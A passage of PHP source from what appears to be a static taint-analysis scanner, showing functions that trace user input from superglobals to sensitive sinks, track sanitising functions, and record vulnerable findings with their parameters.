= false;\n\t\t\t\t\t\t// add same var_name with different dependencies\n\t\t\t\t\t\tif(!empty($var_declare->dependencies) && $mainparent->dependencies != $var_declare->dependencies )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach($var_declare->dependencies as $deplinenr=>$dependency)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( !isset($mainparent->dependencies[$deplinenr]) && $deplinenr != $var_declare->line )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$vardependent = true;\n\t\t\t\t\t\t\t\t\t$comment.= tokenstostring($dependency).', ';\n\t\t\t\t\t\t\t\t\t// if dependencie has an ELSE clause, same vars before are definetely overwritten\n\t\t\t\t\t\t\t\t\tif($dependency[count($dependency)-1][0] === T_ELSE)\n\t\t\t\t\t\t\t\t\t\t$clean_vars_before_ifelse = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// stop at var declarations before if else statement. they are overwritten\n\t\t\t\t\t\tif($clean_vars_before_ifelse)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfor($c=0;$c<count($var_declares[$var_name]);$c++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(count($var_declares[$var_name][$c]->dependencies) < count($var_declare->dependencies))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$var_declares[$var_name][$c-1]->stopvar=true;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$mainparent->lines[] = $var_declare->line;\n\t\t\t\t\t\t$var_trace = new VarDeclare('');\n\t\t\t\t\t\t$parent->children[] = $var_trace;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$stop = new VarDeclare('... Trace stopped.');\n\t\t\t\t\t\t$parent->children[] = $stop;\n\t\t\t\t\t\treturn $userinput;\n\t\t\t\t\t}\n\n\t\t\t\t\t// find other variables in this line\n\t\t\t\t\t$tokens = $var_declare->tokens;\n\t\t\t\t\t$last_scanned = '';\n\t\t\t\t\t$last_userinput = false;\n\t\t\t\t\t$in_arithmetic = false;\n\t\t\t\t\t$in_securing = false;\n\t\t\t\t\t$parentheses_open = 0;\n\t\t\t\t\t$parentheses_save = -1;\n\n\t\t\t\t\t$tainted_vars = array();\n\t\t\t\t\t$var_count = 1;\n\n\t\t\t\t\tfor($i=$var_declare->tokenscanstart; $i<$var_declare->tokenscanstop; $i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this_one_is_secure = false;\n\t\t\t\t\t\tif( is_array($tokens[$i]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// if token is variable or constant\n\t\t\t\t\t\t\tif( ($tokens[$i][0] === T_VARIABLE && $tokens[$i+1][0] !== T_OBJECT_OPERATOR)\n\t\t\t\t\t\t\t|| ($tokens[$i][0] === T_STRING && $tokens[$i+1] !== '(') )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$var_count++;\n\n\t\t\t\t\t\t\t\t// check if typecasted\n\t\t\t\t\t\t\t\tif((is_array($tokens[$i-1])\n\t\t\t\t\t\t\t\t&& in_array($tokens[$i-1][0], Tokens::$T_CASTS))\n\t\t\t\t\t\t\t\t|| (is_array($tokens[$i+1])\n\t\t\t\t\t\t\t\t&& in_array($tokens[$i+1][0], Tokens::$T_ARITHMETIC)) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// mark user function as a securing user function\n\t\t\t\t\t\t\t\t\t$GLOBALS['userfunction_secures'] = true;\n\t\t\t\t\t\t\t\t\t$this_one_is_secure = true;\n\n\t\t\t\t\t\t\t\t\t$var_trace->marker = 2;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// check for automatic typecasts by arithmetic\n\t\t\t\t\t\t\t\tif(in_array($tokens[$i-1], Tokens::$S_ARITHMETIC)\n\t\t\t\t\t\t\t\t|| in_array($tokens[$i+1], Tokens::$S_ARITHMETIC) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// mark user function as a securing user function\n\t\t\t\t\t\t\t\t\t$GLOBALS['userfunction_secures'] = true;\n\n\t\t\t\t\t\t\t\t\t$in_arithmetic = true;\n\n\t\t\t\t\t\t\t\t\t$var_trace->marker = 2;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// scan in global scope\n\t\t\t\t\t\t\t\t$userinput = $this->scan_parameter(\n\t\t\t\t\t\t\t\t\t$mainparent,\n\t\t\t\t\t\t\t\t\t$var_trace,\n\t\t\t\t\t\t\t\t\t$tokens[$i],\n\t\t\t\t\t\t\t\t\t$var_keys,\n\t\t\t\t\t\t\t\t\t$var_declare->id,\n\t\t\t\t\t\t\t\t\t((is_array($tokens[$i-1]) && $tokens[$i-1][0] === T_GLOBAL) || $tokens[$i][1][0] !== '$') ? $var_declares_global : $var_declares,  // global or local scope\n\t\t\t\t\t\t\t\t\t$var_declares_global,\n\t\t\t\t\t\t\t\t\t$userinput,\n\t\t\t\t\t\t\t\t\t$F_SECURES,\n\t\t\t\t\t\t\t\t\t$return_scan,\n\t\t\t\t\t\t\t\t\t$ignore_securing,\n\t\t\t\t\t\t\t\t\t($this_one_is_secure || $in_securing || $in_arithmetic)\n\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t// consider securing applied to parent variable\n\t\t\t\t\t\t\t\tif($secured && $GLOBALS['verbosity'] < 3 && !$last_userinput)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$userinput = false;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// add tainted variable to the list to get them highlighted in output\n\t\t\t\t\t\t\t\tif($userinput && !$last_userinput)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tainted_vars[] = $var_count;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// if in foreach($bla as $key=>$value) dont trace $key, $value back\n\t\t\t\t\t\t\telse if( $tokens[$i][0] === T_AS )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// also check for userinput from functions returning userinput\n\t\t\t\t\t\t\telse if( in_array($tokens[$i][1], $this->source_functions) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$userinput = true;\n\t\t\t\t\t\t\t\t$var_trace->marker = 4;\n\t\t\t\t\t\t\t\t$mainparent->title = 'Userinput returned by function <i>'.$tokens[$i][1].'()</i> reaches sensitive sink.';\n\n\t\t\t\t\t\t\t\tif($return_scan)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['userfunction_taints'] = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// userinput received in function, just needs a trigger\n\t\t\t\t\t\t\t\telse if($this->in_function)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->addtriggerfunction($mainparent);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// we could return here to not scan all parameters of the tainting function\n\t\t\t\t\t\t\t\t// however we would need to add the line manually to the output here\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// detect securing functions\n\t\t\t\t\t\t\telse if(!$ignore_securing && ( (is_array($F_SECURES) && in_array($tokens[$i][1], $F_SECURES))\n\t\t\t\t\t\t\t|| (isset($tokens[$i][1]) && in_array($tokens[$i][1], $GLOBALS['F_SECURING_STRING']))\n\t\t\t\t\t\t\t|| (in_array($tokens[$i][0], Tokens::$T_CASTS) && $tokens[$i+1] === '(') )  )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$parentheses_save = $parentheses_open;\n\t\t\t\t\t\t\t\t$in_securing = true;\n\t\t\t\t\t\t\t\t$this->securedby[] = $tokens[$i][1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//detect insecuring functions (functions that make previous securing useless)\n\t\t\t\t\t\t\telse if( isset($tokens[$i][1]) && in_array($tokens[$i][1], $GLOBALS['F_INSECURING_STRING']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$parentheses_save = $parentheses_open;\n\t\t\t\t\t\t\t\t$ignore_securing = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// if this is a vuln line, it has already been scanned -> return\n\t\t\t\t\t\t\telse if( ((in_array($tokens[$i][0], Tokens::$T_FUNCTIONS)\n\t\t\t\t\t\t\t&& isset($GLOBALS['scan_functions'][$tokens[$i][1]]))\n\t\t\t\t\t\t\t|| isset(Info::$F_INTEREST[$tokens[$i][1]]))\n\t\t\t\t\t\t\t// ignore oftenly used preg_replace() and alike\n\t\t\t\t\t\t\t&& !isset($GLOBALS['F_CODE'][$tokens[$i][1]])\n\t\t\t\t\t\t\t&& !isset($GLOBALS['F_REFLECTION'][$tokens[$i][1]])\n\t\t\t\t\t\t\t&& !isset($GLOBALS['F_OTHER'][$tokens[$i][1]]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$var_trace->value = highlightline($tokens, $comment.$var_declare->comment.', trace stopped', $var_declare->line);\n\t\t\t\t\t\t\t\t$var_trace->line = $var_declare->line;\n\t\t\t\t\t\t\t\treturn $userinput;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// check for automatic typecasts by arithmetic assignment\n\t\t\t\t\t\t\telse if(in_array($tokens[$i][0], Tokens::$T_ASSIGNMENT_SECURE))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// mark user function as a securing user function\n\t\t\t\t\t\t\t\t$GLOBALS['userfunction_secures'] = true;\n\t\t\t\t\t\t\t\t$secured = 'arithmetic assignment';\n\n\t\t\t\t\t\t\t\t$userinput = false;\t// first variable before operator has alread been traced, ignore\n\t\t\t\t\t\t\t\t$var_trace->marker = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// func_get_args()\n\t\t\t\t\t\t\telse if($tokens[$i][1] === 'func_get_args' && $this->in_function && $tokens[$i][0] === T_STRING)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->addfunctiondependend($mainparent, $parent, $return_scan, -1);\n\t\t\t\t\t\t\t\t$userinput = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// func_get_arg()\n\t\t\t\t\t\t\telse if($tokens[$i][1] === 'func_get_arg' && $this->in_function && $tokens[$i][0] === T_STRING)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->addfunctiondependend($mainparent, $parent, $return_scan, $tokens[$i+2][1]);\n\t\t\t\t\t\t\t\t$userinput = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// string concat disables arithmetic\n\t\t\t\t\t\telse if($tokens[$i] === '.')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$in_arithmetic = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// watch opening parentheses\n\t\t\t\t\t\telse if($tokens[$i] === '(')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$parentheses_open++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// watch closing parentheses\n\t\t\t\t\t\telse if($tokens[$i] === ')')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$parentheses_open--;\n\t\t\t\t\t\t\tif($parentheses_open === $parentheses_save)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$parentheses_save = -1;\n\t\t\t\t\t\t\t\t$in_securing = false;\n\t\t\t\t\t\t\t\t$ignore_securing = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// save userinput (true|false) for vars in same line\n\t\t\t\t\t\t$last_userinput = $userinput;\n\t\t\t\t\t}\n\n\t\t\t\t\t// add highlighted line to output, mark tainted vars\n\t\t\t\t\t$var_trace->value = highlightline($tokens, $var_declare->comment.$comment, $var_declare->line, false, false, $tainted_vars);\n\t\t\t\t\t$var_trace->line = $var_declare->line;\n\n\t\t\t\t\t// we only need the last var declaration, other declarations have been overwritten\n\t\t\t\t\t// exception: if elseif statements:\n\t\t\t\t\t// if else at least overwrites vars before if else statement (else always triggers)\n\t\t\t\t\tif( ($userinput || !$vardependent || $var_declare->stopvar) && !in_array('*', $array_key_diff))\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// if var comes from function parameter AND has not been overwritten with static content before (else)\n\t\telse if($this->in_function && in_array($var_name, $this->function_obj->parameters) && ($GLOBALS['verbosity'] >= 3 || empty($secured)) )\n\t\t{\n\t\t\t$key = array_search($var_name, $this->function_obj->parameters);\n\t\t\t$this->addfunctiondependend($mainparent, $parent, $return_scan, $key);\n\t\t\t$userinput = 2;\n\t\t}\n\t\t// register globals\n\t\telse if(SCAN_REGISTER_GLOBALS && $var_token[0] === T_VARIABLE && !in_array($var_name, Sources::$V_USERINPUT) && (!$this->in_function || (in_array($var_name, $this->put_in_global_scope) && !in_array($var_name, $this->function_obj->parameters))) && empty($secured))\n\t\t{\n\t\t\t// add highlighted line to output, mark tainted vars\n\t\t\t$var_trace = new VarDeclare('');\n\t\t\t$parent->children[] = $var_trace;\n\t\t\t$var_trace->value = highlightline(array(array(T_VARIABLE,$var_name,0),array(T_CONSTANT_ENCAPSED_STRING,' is not initialized and '.PHPDOC.'register_globals is enabled',0)), $var_declare->comment.$comment, 0, false, false, $tainted_vars);\n\t\t\t$var_trace->line = 0;\n\t\t\t$var_trace->marker = 1;\n\t\t\t$userinput = true;\n\t\t\t$this->addexploitparameter($mainparent, '$_GET', str_replace('$','',$var_name));\n\t\t}\n\n\n\t\t// if var is userinput, return true directly\n\t\tif( in_array($var_name, Sources::$V_USERINPUT) && empty($secured) )\n\t\t{\n\t\t\t// check if userinput variable has been overwritten\n\t\t\t$overwritten = false;\n\t\t\tif(isset($var_declares[$var_name]))\n\t\t\t{\n\t\t\t\tforeach($var_declares[$var_name] as $var)\n\t\t\t\t{\n\t\t\t\t\t// check if array keys are the same (if it is an array)\n\t\t\t\t\t$array_key_diff = false;\n\t\t\t\t\tif( isset($var_token[3]) && !empty($var_declare->array_keys) )\n\t\t\t\t\t\t$array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys);\n\n\t\t\t\t\t// if there is a var declare for this userinput !except the same line!: overwritten\n\t\t\t\t\tif($last_token_id != $var->id && !$array_key_diff)\n\t\t\t\t\t\t$overwritten = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(!$overwritten)\n\t\t\t{\n\t\t\t\t// add userinput markers to mainparent object\n\t\t\t\tif(isset($var_token[3]))\n\t\t\t\t\t$parameter_name = str_replace(array(\"'\",'\"'), '', $var_token[3][0]);\n\t\t\t\telse\n\t\t\t\t\t$parameter_name = 'x';\n\n\t\t\t\t// mark tainted, but only specific $_SERVER parameters\n\t\t\t\tif($var_name !== '$_SERVER'\n\t\t\t\t|| in_array($parameter_name, Sources::$V_SERVER_PARAMS)\n\t\t\t\t|| substr($parameter_name,0,5) === 'HTTP_')\n\t\t\t\t{\n\t\t\t\t\t$userinput = true;\n\t\t\t\t\t$parent->marker = 1;\n\n\t\t\t\t\t$this->addexploitparameter($mainparent, $var_name, $parameter_name);\n\n\t\t\t\t\t// analyse depencies for userinput and add it for exploit creator\n\t\t\t\t\tif(!empty($mainparent->dependencies))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($mainparent->dependencies as $dtokens)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfor($t=0;$t<count($dtokens);$t++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($dtokens[$t][0] === T_VARIABLE && in_array($dtokens[$t][1], Sources::$V_USERINPUT) && ($dtokens[$t][1] !== '$_SERVER' || in_array($dtokens[$t][3][0], Sources::$V_SERVER_PARAMS)\n\t\t\t\t\t\t\t\t|| substr($dtokens[$t][3][0],0,5) === 'HTTP_'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->addexploitparameter($mainparent, $dtokens[$t][1], str_replace(array('\"',\"'\"), '', $dtokens[$t][3][0]));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// userinput received in function, just needs a trigger\n\t\t\t\tif($this->in_function && !$return_scan)\n\t\t\t\t{\n\t\t\t\t\t$this->addtriggerfunction($mainparent);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $userinput;\n\t}\n\n\t// add exploit parameter to parent\n\tfunction addexploitparameter($parent, $type, $parameter_name)\n\t{\n\t\tif(!empty($parameter_name))\n\t\t{\n\t\t\tswitch($type)\n\t\t\t{\n\t\t\t\tcase '$_GET': \t\t\t\t$parent->get[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_GET_VARS': \t\t$parent->get[] = $parameter_name; break;\n\t\t\t\tcase '$_REQUEST': \t\t\t$parent->get[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_REQUEST_VARS':\t$parent->get[] = $parameter_name; break;\n\t\t\t\tcase '$_POST': \t\t\t\t$parent->post[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_POST_VARS':\t\t$parent->post[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_RAW_POST_DATA':\t$parent->post[] = $parameter_name; break;\n\t\t\t\tcase '$_COOKIE': \t\t\t$parent->cookie[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_COOKIE_VARS':\t$parent->cookie[] = $parameter_name; break;\n\t\t\t\tcase '$_FILES': \t\t\t$parent->files[] = $parameter_name; break;\n\t\t\t\tcase '$HTTP_POST_FILES':\t$parent->files[] = $parameter_name; break;\n\t\t\t\tcase '$_SERVER':\t\t\t$parent->server[] = $parameter_name; break;\n\t\t\t}\n\t\t}\n\t}\n\n\t// add function to output that triggers something by call\n\tfunction addtriggerfunction($mainparent)\n\t{\n\t\t// add dependency and mark this as interesting function\n\t\t$mainparent->dependencies[$this->function_obj->lines[0]] = $this->function_obj->tokens;\n\t\t$mainparent->title = \"Userinput reaches sensitive sink when function <i>{$this->function_obj->name}()</i> is called.\";\n\n\t\t// add function to scanlist\n\t\t$mainparent->funcdepend = $this->function_obj->name;\n\t\t// with all parameters as valuable since userinput comes from inside the func\n\t\t$GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][0][0] = 0;\n\t\t// no securings\n\t\t$GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][1] = array();\n\t\t// doesnt matter if called with userinput or not\n\t\t$GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][3] = true;\n\t}\n\n\t// add function declaration to parent and mark the block as dependend of this function calls\n\tfunction addfunctiondependend($mainparent, $parent, $return_scan, $key)\n\t{\n\t\t// add child with function declaration\n\t\t$func_name = $this->function_obj->name;\n\t\t$mainparent->lines[] = $this->function_obj->lines[0];\n\t\tif($this->function_obj->marker !== 3)\n\t\t{\n\t\t\t$this->function_obj->value = highlightline($this->function_obj->tokens, '', $this->function_obj->lines[0]);\n\t\t\t// mark as potential userinput\n\t\t\t$this->function_obj->marker = 3;\n\t\t}\n\t\t$parent->children[] = $this->function_obj;\n\n\t\t// add function to scanlist\n\t\tif(!$return_scan)\n\t\t{\n\t\t\t$mainparent->funcdepend = $func_name;\n\t\t\t// $mainparent->funcdependparam != $GLOBALS['user_functions'][$this->file_name][$func_name][0]\n\t\t\t$mainparent->funcparamdepend[] = $key+1;\n\n\t\t\t// with potential parameters\n\t\t\t$map = $key < 0 ? 0 : $key;\n\t\t\t// scan this userfunction with the vuln parameter\n\t\t\t$GLOBALS['user_functions'][$this->file_name][$func_name][0][$map] = $key+1;\n\t\t\t// and with according securing functions from original find\n\t\t\t$GLOBALS['user_functions'][$this->file_name][$func_name][1] = isset($GLOBALS['scan_functions'][$mainparent->name][1]) ? $GLOBALS['scan_functions'][$mainparent->name][1] : $GLOBALS['user_functions'][$this->file_name][$mainparent->name][1];\n\t\t}\n\t}\n\n\t// add a variable to the varlist\n\tfunction variable_add($var_name, $tokens, $comment, $tokenscanstart, $tokenscanstop, $linenr, $id, $array_keys=array(), $additional_keys=array())\n\t{\n\t\t// add variable declaration to beginning of varlist\n\t\t$new_var = new VarDeclare($tokens,$this->comment . $comment);\n\t\t$new_var->line = $linenr;\n\t\t$new_var->id = $id;\n\n\t\tif($tokenscanstart)\n\t\t\t$new_var->tokenscanstart = $tokenscanstart;\n\t\tif($tokenscanstop)\n\t\t\t$new_var->tokenscanstop = $tokenscanstop;\n\n\t\t// add dependencies\n\t\tforeach($this->dependencies as $deplinenr=>$dependency)\n\t\t{\n\t\t\tif(!empty($dependency))\n\t\t\t$new_var->dependencies[$deplinenr] = $dependency;\n\t\t}\n\n\t\t// if $GLOBALS['x'] is used outside a function its the same as using var $x, rewrite\n\t\tif($var_name === '$GLOBALS' && !empty($array_keys) && !$this->in_function)\n\t\t{\n\t\t\t$var_name = '$'.array_shift($array_keys);\n\t\t}\n\n\t\t// add additional array keys\n\t\tif(!empty($additional_keys))\n\t\t{\n\t\t\tif(empty($array_keys))\n\t\t\t\t$array_keys[] = $additional_keys;\n\t\t\telse\n\t\t\t\t$array_keys = array_merge($array_keys, array($additional_keys));\n\t\t}\n\n\t\t// add/resolve array keys\n\t\tif(!empty($array_keys))\n\t\t{\n\t\t\tforeach($array_keys as $key)\n\t\t\t{\n\t\t\t\tif(!is_array($key))\n\t\t\t\t\t$new_var->array_keys[] = $key;\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$recstring = Analyzer::get_tokens_value(\n\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t$key,\n\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t$id\n\t\t\t\t\t);\n\n\t\t\t\t\tif(!empty($recstring))\n\t\t\t\t\t\t$new_var->array_keys[] = $recstring;\n\t\t\t\t\telse\n\t\t\t\t\t\t$new_var->array_keys[] = '*';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif($this->in_function)\n\t\t{\n\t\t\tif(!isset($this->var_declares_local[$var_name]))\n\t\t\t\t$this->var_declares_local[$var_name] = array($new_var);\n\t\t\telse\n\t\t\t\tarray_unshift($this->var_declares_local[$var_name], $new_var);\n\n\t\t\t// if variable was put in global scope, save assignments\n\t\t\t// later they will be pushed to the global var list when function is called\n\t\t\tif(in_array($var_name, $this->put_in_global_scope))\n\t\t\t{\n\t\t\t\tif(!isset($this->globals_from_function[$this->function_obj->name][$var_name]))\n\t\t\t\t\t$this->globals_from_function[$this->function_obj->name][$var_name] = array($new_var);\n\t\t\t\telse\n\t\t\t\t\tarray_unshift($this->globals_from_function[$this->function_obj->name][$var_name], $new_var);\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tif(!isset($this->var_declares_global[$var_name]))\n\t\t\t\t$this->var_declares_global[$var_name] = array($new_var);\n\t\t\telse\n\t\t\t\tarray_unshift($this->var_declares_global[$var_name], $new_var);\n\t\t}\n\t}\n\n\t// scans variable for $$dynamic vars or $dynamic() function calls\n\tfunction variable_scan($i, $offset, $category, $title)\n\t{\n\t\tif(isset($this->scan_functions[$category]))\n\t\t{\n\t\t\t// build new find\n\t\t\t$new_find = new VulnTreeNode();\n\t\t\t$new_find->name = $category;\n\t\t\t$new_find->lines[] = $this->tokens[$i][2];\n\n\t\t\t// count sinks\n\t\t\t$GLOBALS['file_sinks_count'][$this->file_pointer]++;\n\n\t\t\tif($this->in_function)\n\t\t\t{\n\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][6]++;\n\t\t\t} else\n\t\t\t{\n\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][6]++;\n\t\t\t}\n\n\t\t\t// add dependencies\n\t\t\tforeach($this->dependencies as $deplinenr=>$dependency)\n\t\t\t{\n\t\t\t\tif(!empty($dependency))\n\t\t\t\t\t$new_find->dependencies[$deplinenr] = $dependency;\n\t\t\t}\n\n\t\t\t// trace back parameters and look for userinput\n\t\t\t$userinput = $this->scan_parameter(\n\t\t\t\t$new_find,\n\t\t\t\t$new_find,\n\t\t\t\t$this->tokens[$i],\n\t\t\t\t$this->tokens[$i][3],\n\t\t\t\t$i,\n\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t$this->var_declares_global,\n\t\t\t\tfalse,\n\t\t\t\tarray()\n\t\t\t);\n\n\t\t\t// add find to output if function call has variable parameters (With userinput)\n\t\t\tif( $userinput || $GLOBALS['verbosity'] == 4 )\n\t\t\t{\n\t\t\t\t$new_find->filename = $this->file_pointer;\n\t\t\t\t$new_find->value = highlightline(array_slice($this->tokens, $i-$offset, $offset+3+Analyzer::getBraceEnd($this->tokens, $i+2)), $this->comment, $this->tokens[$i][2], $this->tokens[$i][1], false, array(1));\n\n\t\t\t\t// add to output\n\t\t\t\t$new_find->title = $title;\n\t\t\t\t$block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), getVulnNodeTitle($category), $this->tokens[$i][1]);\n\t\t\t\t$block->treenodes[] = $new_find;\n\n\t\t\t\tif($userinput == 1 || $GLOBALS['verbosity'] == 4)\n\t\t\t\t{\n\t\t\t\t\t$block->vuln = true;\n\t\t\t\t\tincreaseVulnCounter($category);\n\t\t\t\t}\n\n\t\t\t\t$GLOBALS['output'][$this->file_name][] = $block;\n\n\t\t\t\tif($this->in_function)\n\t\t\t\t{\n\t\t\t\t\t$this->ignore_securing_function = true;\n\t\t\t\t\t// mark function in class as vuln\n\t\t\t\t\tif($this->in_class)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->vuln_classes[$this->class_name][] = $this->function_obj->name;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// add register_globals implementation\n\t\t\t\tif($category === 'extract')\n\t\t\t\t{\n\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t'register_globals',\n\t\t\t\t\t\tarray_merge(array_slice($this->tokens, $i-$offset, ($end=$offset+3+Analyzer::getBraceEnd($this->tokens, $i+2))),array(array(T_COMMENT,'// is like ',0),array(T_STRING,'import_request_variables',0),'(',')')),\n\t\t\t\t\t\t'see above',\n\t\t\t\t\t\t1, $end+2,\n\t\t\t\t\t\t$this->tokens[$i][2],\n\t\t\t\t\t\t$i,\n\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t);\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// check if same vulnBlock with the same unique identifier has already been scanned\n\tfunction already_scanned($i)\n\t{\n\t\t$uid = $this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer);\n\t\tforeach($GLOBALS['output'] as $file)\n\t\t{\n\t\t\tforeach($file as $vulnBlock)\n\t\t\t{\n\t\t\t\tif($vulnBlock->uid == $uid && $vulnBlock->vuln)\n\t\t\t\t{\n\t\t\t\t\t$vulnBlock->alternatives[] = $this->file_name;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t// check if securing function is listed as securing that depends on quotes\n\tfunction quote_analysis_needed()\n\t{\n\t\tforeach($this->securedby as $var=>$func)\n\t\t{\n\t\t\tif(in_array($func, $GLOBALS['F_QUOTE_ANALYSIS']))\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t// parse tokens of php file, build program model, follow program flow, initiate taint analysis\n\tfunction parse()\n\t{\n\t\t// scan all tokens\n\t\tfor($i=0,$tokencount=count($this->tokens); $i<$tokencount;  $i++, $this->tif++)\n\t\t{\n\t\t\tif( is_array($this->tokens[$i]) )\n\t\t\t{\n\t\t\t\t$token_name = $this->tokens[$i][0];\n\t\t\t\t$token_value = $this->tokens[$i][1];\n\t\t\t\t$line_nr = $this->tokens[$i][2];\n\n\t\t\t\t// add preloader info for big files\n\t\t\t\tif($line_nr  % PRELOAD_SHOW_LINE == 0)\n\t\t\t\t{\n\t\t\t\t\techo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . ' (line ' . $line_nr  . ')|' . $GLOBALS['timeleft'] . '|' . \"\\n\";\n\t\t\t\t\t@ob_flush();\n\t\t\t\t\tflush();\n\t\t\t\t}\n\n\t\t\t\t# debug\n\t\t\t\t#echo \"file:\".$file_name.\",line:\".$line_nr.\",token:\".token_name($token_name).\",\";\n\t\t\t\t#echo \"value:\".htmlentities($token_value).\",\";\n\t\t\t\t#echo \"in_function:\".$in_function.\",in_class:\".$in_class.\"<br>\";\n\n\t\t\t\t/*************************\n\t\t\t\t\t\tT_VARIABLE\n\t\t\t\t*************************/\n\t\t\t\tif($token_name === T_VARIABLE)\n\t\t\t\t{\n\t\t\t\t\t// $var()\n\t\t\t\t\tif($this->tokens[$i+1][0] === '(')\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->variable_scan($i, 0, 'eval', 'Userinput is used as dynamic function name. Arbitrary functions may be called.');\n\t\t\t\t\t}\n\t\t\t\t\t// $$var =\n\t\t\t\t\telse if( ($this->tokens[$i-1] === '$' || ($this->tokens[$i-1] === '{' && $this->tokens[$i-2] === '$')) && ($this->tokens[$i+1] === '=' || in_array($this->tokens[$i+1][0], Tokens::$T_ASSIGNMENT)) 